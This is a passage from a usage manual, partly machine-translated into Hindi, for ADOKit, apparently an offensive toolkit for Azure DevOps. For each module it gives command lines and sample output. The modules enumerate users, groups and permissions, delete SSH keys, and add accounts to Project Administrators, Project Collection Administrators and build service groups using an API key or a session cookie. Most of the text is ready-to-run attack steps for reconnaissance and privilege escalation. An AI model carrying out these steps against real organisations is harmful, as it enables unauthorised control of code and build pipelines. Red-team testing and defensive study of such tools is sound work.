ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...
ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...
C:>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97
================================================== Module: removesshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 17:50:09 Finished execution of removesshkey
### उपयोगकर्ताओं की सूची बनाएं
#### उपयोग केस
> *Azure DevOps इंस्टेंस में उपयोगकर्ताओं की सूची बनाएं*
#### सिंटैक्स
`listuser` मॉड्यूल प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL। यह उपयोगकर्ता नाम, प्रदर्शन नाम और उपयोगकर्ता प्रमुख नाम आउटपुट करेगा।
`ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### उदाहरण आउटपुट```
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listuser
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:12:07 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
user1 | User 1 | [email protected]
jsmith | John Smith | [email protected]
rsmith | Ron Smith | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:08 Finished execution of listuser
Azure DevOps इंस्टेंस में दिए गए उपयोगकर्ता(ओं) को खोजें
searchuser मॉड्यूल और अपनी खोज मापदंड /search: कमांड-लाइन आर्गुमेंट में प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL भी। यह मिलान करने वाले उपयोगकर्ता नाम, प्रदर्शन नाम और उपयोगकर्ता प्रिंसिपल नाम को आउटपुट करेगा।
ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user
ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user
C:>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"
================================================== Module: searchuser Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
user1 | User 1 | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:24 Finished execution of searchuser
### टीमों की सूची बनाएं
#### उपयोग का मामला
> *Azure DevOps इंस्टेंस के भीतर टीमों की सूची बनाएं*
#### सिंटैक्स
`listteam` मॉड्यूल, प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ प्रदान करें। यह टीम का नाम, प्रोजेक्ट का नाम और टीम का विवरण आउटपुट करेगा।
`ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### उदाहरण आउटपुट```
C:\>ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listteam
Auth Type: API Key
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 9:48:26 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
----------------------------------------------------------------------------------------------------------------------------------------
ProjectWithMultipleRepos Team | ProjectWithMultipleRepos | The default project team.
MaraudersMap Team | MaraudersMap | The default project team.
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
Azure DevOps उदाहरण में दिए गए दल(दलों) की खोज करें
searchteam मॉड्यूल और अपने खोज मानदंड को /search: कमांड-लाइन तर्क में प्रदान करें, साथ ही किसी भी प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ। यह दल के नाम, परियोजना के नाम और दल के विवरण को आउटपुट करेगा।
ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam
ADOKit.exe searchteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam
C:>ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:test
================================================== Module: searchteam Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
### टीम सदस्य प्राप्त करें
#### उपयोग मामला
> *किसी दिए गए टीम के लिए टीम सदस्य प्राप्त करें*
#### सिंटैक्स
`getteammembers` मॉड्यूल और अपने खोज मानदंड को `/search:` कमांड-लाइन आर्गुमेंट में प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL। यह टीम का नाम, टीम सदस्य का उपयोगकर्ता नाम, और टीम सदस्य का प्रदर्शन नाम आउटपुट करेगा।
`ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam`
`ADOKit.exe getteammembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam`
#### उदाहरण आउटपुट```
C:\source\ADOKit-main\ADOKit\bin\Release>ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"dev team"
==================================================
Module: getteammembers
Auth Type: API Key
Search Term: dev team
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 10:45:11 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Username | User Display Name
-------------------------------------------------------------------------------------------------------------------------------------------------------
Dev Team | [email protected] | User 1
Dev Team | [email protected] | user3
Dev Team | [email protected] | user4
Azure DevOps उदाहरण के भीतर समूहों को सूचीबद्ध करें
Provide the listgroup module, along with any relevant authentication information and URL. This will output the user principal name, display name and description of group.
ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization
================================================== Module: listgroup Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
[TestProject]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project-Scoped Users | Project-Scoped Users | Members of this group will have limited visibility to organization-level data
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds. [MaraudersMap]\Readers | Readers | Members of this group have access to the team project. [YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection. [MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team. [TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only. [YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group. [TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
---SNIP---
4/3/23 20:48:46 Finished execution of listgroup
### खोज समूह
#### उपयोग स्थिति
> *Azure DevOps इंस्टेंस में दिए गए समूह(समूहों) की खोज करें*
#### सिंटैक्स
`searchgroup` मॉड्यूल और `/search:` कमांड-लाइन आर्गुमेंट में अपने खोज मापदंड प्रदान करें, साथ ही किसी भी प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ। इससे मिलान करने वाले समूह के लिए उपयोगकर्ता प्रमुख नाम, प्रदर्शन नाम और विवरण आउटपुट होगा।
`ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"`
`ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"`
#### उदाहरण आउटपुट```
C:\>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"
==================================================
Module: searchgroup
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:48:41 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
[TestProject]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[TestProject2]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
[ProjectWithMultipleRepos]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
[TestProject]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
4/3/23 20:48:42 Finished execution of searchgroup
किसी दिए गए समूह के लिए सभी समूह सदस्यों को सूचीबद्ध करें
getgroupmembers मॉड्यूल और उन समूह(समूहों) को प्रदान करें जिन्हें आप /group: कमांड-लाइन आर्गुमेंट में खोजना चाहते हैं, साथ ही किसी भी प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ। यह मिलान करने वाले समूह के उपयोगकर्ता प्रमुख नाम को आउटपुट करेगा, साथ ही उस समूह के प्रत्येक समूह सदस्य को उपयोगकर्ता के मेल पते और प्रदर्शन नाम सहित।
ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"
ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"
C:>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"
================================================== Module: getgroupmembers Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Group | Mail Address | Display Name
[TestProject2]\Build Administrators | [email protected] | User 1
[TestProject2]\Build Administrators | [email protected] | User 2
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | Ron Smith
[TestProject2]\Project Administrators | [email protected] | User 1
[TestProject2]\Project Administrators | [email protected] | User 2
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[ProjectWithMultipleRepos]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Build Administrators | [email protected] | Brett Hawkins
4/4/23 13:11:09 Finished execution of getgroupmembers
### प्रोजेक्ट अनुमतियाँ प्राप्त करें
#### उपयोग का मामला
> *किसी दिए गए प्रोजेक्ट में किसके पास अनुमतियाँ हैं इसकी सूची प्राप्त करें।*
#### सिंटैक्स
`getpermissions` मॉड्यूल और वह प्रोजेक्ट प्रदान करें जिसे आप `/project:` कमांड-लाइन आर्गुमेंट में खोजना चाहते हैं, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL भी प्रदान करें। इससे मेल खाने वाले समूह के लिए उपयोगकर्ता प्रिंसिपल नाम, प्रदर्शन नाम और विवरण आउटपुट होगा। इसके अतिरिक्त, यह उन समूहों में से प्रत्येक के लिए समूह सदस्यों को भी आउटपुट करेगा।
`ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"`
`ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"`
#### उदाहरण आउटपुट```
C:\>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpermissions
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 9:11:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Project Valid Users | Project Valid Users | Members of this group have access to the team project.
[MaraudersMap]\Readers | Readers | Members of this group have access to the team project.
[*] INFO: Listing group members for each group that has permissions to this project
GROUP NAME: [MaraudersMap]\Build Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Contributors
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Contributors | [email protected] | User 1
[MaraudersMap]\Contributors | [email protected] | User 2
GROUP NAME: [MaraudersMap]\MaraudersMap Team
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\MaraudersMap Team | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Valid Users
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Readers
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Readers | [email protected] | John Smith
4/4/23 13:11:18 Finished execution of getpermissions
किसी दिए गए प्रोजेक्ट के लिए Project Administrators समूह में एक उपयोगकर्ता जोड़ें।
addprojectadmin मॉड्यूल को /project: और /user: के साथ प्रदान करें, ताकि दिए गए प्रोजेक्ट के लिए किसी उपयोगकर्ता को Project Administrators समूह में जोड़ा जा सके। इसके अतिरिक्त, कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। यह क्रिया करने के लिए आवश्यक अनुमतियाँ मॉड्यूल विवरण तालिका में देखें।
ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
C:>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
================================================== Module: addprojectadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | User 1
4/4/23 18:52:47 Finished execution of addprojectadmin
### प्रोजेक्ट एडमिन हटाएं
#### उपयोग केस
> *किसी दिए गए प्रोजेक्ट के लिए प्रोजेक्ट प्रशासक समूह से एक उपयोगकर्ता हटाएं।*
#### सिंटैक्स
`removeprojectadmin` मॉड्यूल को `/project:` और `/user:` के साथ प्रदान करें ताकि किसी दिए गए उपयोगकर्ता को दिए गए प्रोजेक्ट के लिए `Project Administrators` समूह से हटाया जा सके। इसके अतिरिक्त, कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। इस कार्रवाई को करने के लिए आवश्यक अनुमतियों के लिए [मॉड्यूल विवरण तालिका](#module-details-table) देखें।
`ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### उदाहरण आउटपुट```
C:\>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removeprojectadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:19:43 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
4/4/23 19:19:44 Finished execution of removeprojectadmin
किसी दिए गए प्रोजेक्ट के लिए Build Administrators समूह में एक उपयोगकर्ता जोड़ें।
दिए गए प्रोजेक्ट के लिए Build Administrators समूह में एक उपयोगकर्ता को जोड़ने के लिए addbuildadmin मॉड्यूल को /project: और /user: के साथ प्रदान करें। इसके अतिरिक्त, कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। देखें मॉड्यूल विवरण तालिका इस क्रिया को करने के लिए आवश्यक अनुमतियों के लिए।
ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
C:>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
================================================== Module: addbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[MaraudersMap]\Build Administrators | [email protected] | User 1
4/4/23 19:41:55 Finished execution of addbuildadmin
### बिल्ड एडमिन हटाएं
#### उपयोग का मामला
> *किसी दिए गए प्रोजेक्ट के लिए बिल्ड एडमिनिस्ट्रेटर्स समूह से उपयोगकर्ता को हटाएं।*
#### सिंटैक्स
`removebuildadmin` मॉड्यूल को `/project:` और `/user:` के साथ प्रदान करें ताकि किसी दिए गए प्रोजेक्ट के लिए `Build Administrators` समूह से उपयोगकर्ता को हटाया जा सके। इसके अतिरिक्त, किसी भी प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ प्रदान करें। इस कार्रवाई को करने के लिए आवश्यक अनुमतियों के लिए [मॉड्यूल डिटेल्स तालिका](#module-details-table) देखें।
`ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### उदाहरण आउटपुट```
C:\>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removebuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:42:10 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/4/23 19:42:11 Finished execution of removebuildadmin
प्रोजेक्ट संग्रह व्यवस्थापक समूह में एक उपयोगकर्ता जोड़ें।
addcollectionadmin मॉड्यूल को /user: के साथ प्रदान करें ताकि किसी दिए गए उपयोगकर्ता को Project Collection Administrators समूह में जोड़ा जा सके। इसके अतिरिक्त, कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। इस क्रिया को करने के लिए आवश्यक अनुमतियों के लिए मॉड्यूल विवरण तालिका देखें।
ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[YourOrganization]\Project Collection Administrators | [email protected] | User 1
4/4/23 20:04:43 Finished execution of addcollectionadmin
### संग्रह व्यवस्थापक हटाएं
#### उपयोग मामला
> *प्रोजेक्ट संग्रह व्यवस्थापक समूह से एक उपयोगकर्ता हटाएं।*
#### सिंटैक्स
किसी दिए गए उपयोगकर्ता को `Project Collection Administrators` समूह से हटाने के लिए `removecollectionadmin` मॉड्यूल को `/user:` के साथ प्रदान करें। इसके अलावा, किसी भी प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ प्रदान करें। इस क्रिया को करने के लिए आवश्यक अनुमतियों के लिए [मॉड्यूल विवरण तालिका](#module-details-table) देखें।
`ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### उदाहरण आउटपुट```
C:\>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 4:10:35 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
4/4/23 20:10:38 Finished execution of removecollectionadmin
किसी उपयोगकर्ता को Project Collection Build Administrators समूह में जोड़ें।
addcollectionbuildadmin मॉड्यूल को /user: के साथ प्रदान करें ताकि किसी दिए गए उपयोगकर्ता को Project Collection Build Administrators समूह में जोड़ा जा सके। इसके अलावा, कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। इस क्रिया को करने के लिए आवश्यक अनुमतियों के लिए मॉड्यूल विवरण तालिका देखें।
ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Build Administrators | [email protected] | User 1
4/5/23 12:21:42 Finished execution of addcollectionbuildadmin
### Remove Collection Build Admin
#### उपयोग केस
> *किसी उपयोगकर्ता को Project Collection Build Administrators समूह से हटाएं।*
#### सिंटैक्स
`removecollectionbuildadmin` मॉड्यूल के साथ `/user:` प्रदान करें ताकि किसी दिए गए उपयोगकर्ता को `Project Collection Build Administrators` समूह से हटाया जा सके। साथ ही, कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। यह कार्रवाई करने के लिए आवश्यक अनुमतियाँ देखने के लिए [Module Details Table](#module-details-table) देखें।
`ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### उदाहरण आउटपुट```
C:\>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:21:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:02 Finished execution of removecollectionbuildadmin
प्रोजेक्ट कलेक्शन बिल्ड सर्विस अकाउंट्स समूह में एक उपयोगकर्ता जोड़ें।
addcollectionbuildsvc मॉड्यूल को /user: के साथ प्रदान करें ताकि किसी दिए गए उपयोगकर्ता को Project Collection Build Service Accounts समूह में जोड़ा जा सके। इसके अतिरिक्त, किसी भी प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ प्रदान करें। इस क्रिया को करने के लिए आवश्यक अनुमतियों के लिए Module Details Table देखें।
ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionbuildsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Build Service Accounts | [email protected] | User 1
4/5/23 12:22:15 Finished execution of addcollectionbuildsvc
### संग्रह बिल्ड सेवा खाता हटाएं
#### उपयोग केस
> *किसी उपयोगकर्ता को प्रोजेक्ट संग्रह बिल्ड सेवा खाता समूह से हटाएं।*
#### सिंटैक्स
`removecollectionbuildsvc` मॉड्यूल के साथ किसी उपयोगकर्ता को `Project Collection Build Service Accounts` समूह से हटाने के लिए `/user:` प्रदान करें। साथ ही, कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। यह क्रिया करने के लिए आवश्यक अनुमतियों के लिए [मॉड्यूल विवरण तालिका](#module-details-table) देखें।
`ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### उदाहरण आउटपुट```
C:\>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:22:27 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:28 Finished execution of removecollectionbuildsvc
Project Collection Service Accounts समूह में एक उपयोगकर्ता जोड़ें।
addcollectionsvc मॉड्यूल को /user: के साथ प्रदान करें ताकि किसी दिए गए उपयोगकर्ता को Project Collection Service Accounts समूह में जोड़ा जा सके। इसके अतिरिक्त, कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। इस क्रिया को करने के लिए आवश्यक अनुमतियों के लिए Module Details Table देखें।
ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
